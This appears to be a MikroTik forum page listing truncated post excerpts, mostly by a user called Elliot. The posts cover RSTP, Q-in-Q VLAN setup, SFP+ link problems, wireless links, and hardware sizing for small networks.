MikroTik

Elliot

I see that you are not very familiar with Mikrotik devices. If I were you I would try to debug. Use something tail or something like it if you're running Windows. Enable logging ssh debug on your MK device. There might be a problem. I have a similar problem and /ip ssh regenerate-host-key resolve th...

Hey guys, I have the most curious problem and I haven't been able to find the answer. I have deployed RSTP in our Network and everything works nice a dandy, but the switch with the lowest priority that has alternate port will periodically drop icmp echo requests. Switch forward traffic without a pro...

Elliot

Same problem here. It helped to restart VPN server on router side and delete clients and configure them again on client side. Hope that helps. I'm not sure but I think that Mikrotik might have some ipsec issues in versions 4.63.1-3.

Elliot

Hey Guys, I have the most curious problem and I haven't been able to find an answer so I hope some of you might clarify what the hell is going on. I have recently bought a new RB3011UiAS for one of our customers as a core router, so I was eager to test it out since I haven't been working with RB3011...

Elliot

Hey Guys,
is there a way to calculate current TX power? In data sheet there's TX power= <10dBm, but there's no way to know this from device.

Elliot

My RSTP is working fine and as you would expect but the switch where "alternate port" is stops periodically forwarding input packets (about 10% icmp packets). I tried different bridge priorities and port priorities to change root switches but everytime there's alternate port in bridge that...

Elliot

Hey Sindy, I'm sorry I haven't replied, but I've tried to set up a lab a test different things. The thing was that service VLAN in Mikrotik doesn't work quite as I needed so I've used CVID stacking instead and needed to overwrite 802.1AD to 802.1q on CRS112 for this to actually work. Now they can se...

Elliot

Silence all around... the CRS1xx are really far from the rest of the RouterOS world. I think I know what to do, but not to an extent that I could just give you a list of commands and be 100% sure that it will implement what you need. So I can offer you an interactive remote access session if you do...

Elliot

Hey guys, I have a simple question on how to set up switches so they can forward Q-in-Q vlan. set up is pretty simple: Client (whatever VLAN) -> CRS112 (SVID 1679) -> CRS112 (SVID 1679) -> CRS326 (SVID 1679) -> strip Q-in-Q vlan tag and pass along on port 24 I'm sure that one of you guys will know t...

Hi friend, first of all before anything you really need to study (2-3h max) about how switch chips in different Mikrotik works. You do VLAN on CRS125 like you would on CRS3xx series hence your poor performance. There's a manual how to do VLANs on CRS1xx/CRS2xx series. link CRS1xx/CRS2xx https://wiki...

Elliot

Hi guys, I have found myself in a peculiar situation. I'm working as network engineer for about 2 years now without any formal education or knowledge. I'd like to think that I'm smart so I was able to learn a lot of things fast. I was able to self taught myself a lot of thing about how netwrok a dat...

To all posters here, i'm afraid that this is a combination of HW and SW problem when there's a SFP+ connection between CRS 317 and CRS 328 and simply put, don't expect that anything's gonna change anytime soon. We've replaced CRS 328 with much more expensive Cisco devices and it works like a charm....

Hi, Bumping this thread. Are these obvious / dumb questions or doesn't anyone know the answers? I'm really curious to what these stats exactly mean. Thanks! There's a LHG 60G experience thread, you should ask these questions there, don't be reduntant. Also Mikrotik released some documentation and v...

Elliot

Hello,

CCR1072 vs Oem İ9-9900K

Where can I get the best processor performance? I have 10g uplink with high CPU usage.

Or is there anything you'd suggest better?

Regards.

It really depends on your needs. Mikrotik CCR1072 is great with anything that have a lot of smaller connections.

Elliot

Would you use a Mini to transport the local school rugby / soccer team to a game? The Hex S is a SOHO device, that is an acronym for "Small Office / Home Office", do you think what you are trying to do fits in there? Although your sarcastic comment is appreciated it's not what I needed. A...

Elliot

My question is quite straightforward. Does HEX S will be enough to run User Manager for maximum of 300 clients? Should I buy SD Card for storage ? Or should I forgot it and install RouterOS on x86 architecture, because HEX S won't have enough processing power? I don't have any experience with RADIUS...

Elliot

Clarify your question please. The device uses beamforming automatically, there is no need to "do it" yourself. Just point both devices in the general direction of each other, and the algorythm will work it's magic by itself. I'm no sure myself. We have done allignment in summer and we had...

Elliot

Hi guys,

does anyone here know how to do beamforming with LHG60 wireless wire?

Also what RSSI should I get on 340m link with clear view?

Thank you

Elliot

I have the SAME EXACT problem. Mikrotik needs to fix this. No problem with 1Gbps SFP but with OWM SFP+ it's hell. I think this could be combination of software and hardware problem with SFP+ modules.

Elliot

Hello,
Could somebody here please tell me how to block traffic from certain VPN subnets to VLAN?

I have five VLANs (10,20,30,40,111) and I need certain VPN users (subnets) be able to only go to VLAN 10 a nowhere else.

Elliot

Shouldn't they have a WSUS server for centralized update management?

Sadly they don't have money to buy a server.

Elliot

i will suggest you setup a firewall rule to capture the destination ip address of the server responsible for the update and setup a firewall rule to drop traffic to the server so as to make use of the internet service. hope this will work???? I can do that no problem, but their teacher of IT (he's ...

Elliot

Hey guys, I've set-up internal network in local school and everything works like a charm until local computers decides to update Windows OS. Main problem is bottleneck on ISP side (30M/30M). Could anybody tell me how to solve this problem without spending ton of money? I was thinking to use core Rou...

Elliot

There is a software problem on SwOS. RouterOS works ok. That's how I solved the issue: I'm running RouterOS on the CRS328. I couldn't push 10Gbm since I didn't have hardware enough to test this. But I could (and did) pass 2Gb through the 10Gb interfaces - using two computers ate each CSS326( they w...

Hi everyone, our set up is CISCO 350X -> CRS317 -> CRS328 connected via optic fiber cable and SFP+ traceiver. I've noticed that there are over 7,5K disconnects between MK devices in interface status over 14 days of uptime. I've also noticed that there is a large number of FCS Error in counters. I've...

Trying to work out if I should waste my time trying a 320 metre link with a pair of Wireless Wires? Don't need 1Gbit - I'd be happy with 200 bit.

Thanks for reply, but I see it quite expensive bracket. And with my brick chimney 50m high, windload gives a lot of instability overall.

Just to add don't forget to upgrade your ROS and enable Vlan filtering on your bridge.

Elliot

It's okey guys. I've troubleshoot the problem. I haven't tagged wlan1 on CAP device in Bridge -> VLAN.

Hey guys, I have a simple question. What is the ideal and maximum number of clients (in your experience) connected to a single SXT SA5?

Thanks a lot. As DJ Khaled would say "you da best". Now I can see the fallacy in my understanding. It is actualy pretty obvious when I think about it..nevertheless thank you again for pointing out my mistake in configuration. Everything is working as it should now and I'll make sure to use...

Máš pravdu, že první článek častečně sedí na failover. Chyba je nejspíš někde v záložce IP route, ale nevim kde a jakou hodnotu musím nastavit pro ISP2, aby když vypadne spojeni s ISP1, tak mi veškerý provoz pojede přez konektivitu od o2. Paradoxně mi toto úplně nevadí vzhledem k tomu, že linka od o...

Do you use CAPsMAN? What is your access list policy (disconnect anyone with signal worse than -90 ?)? Does you cAP and Router have newest RouterOS?

Elliot

Basebox AC has been released with 6.x version of RouterOS, you can downgrade it to 5.x, just use netinstall again and install 6.x version on it and license will be restored. You are right and it's nice and dandy but maybe he doesn't have easy access to his basebox to netinstall it. It might be 50m-...

Howzit, Either everyone has similar ussues or this issue is unknown or new :-) So, in order to verify if it is device density per AP or CAPsMAN's inability to deal with that level of device density per AP, I removed the AP from the CAPsMAN setup and did a local only setup. Thus, the 2.4GHz radio's ...
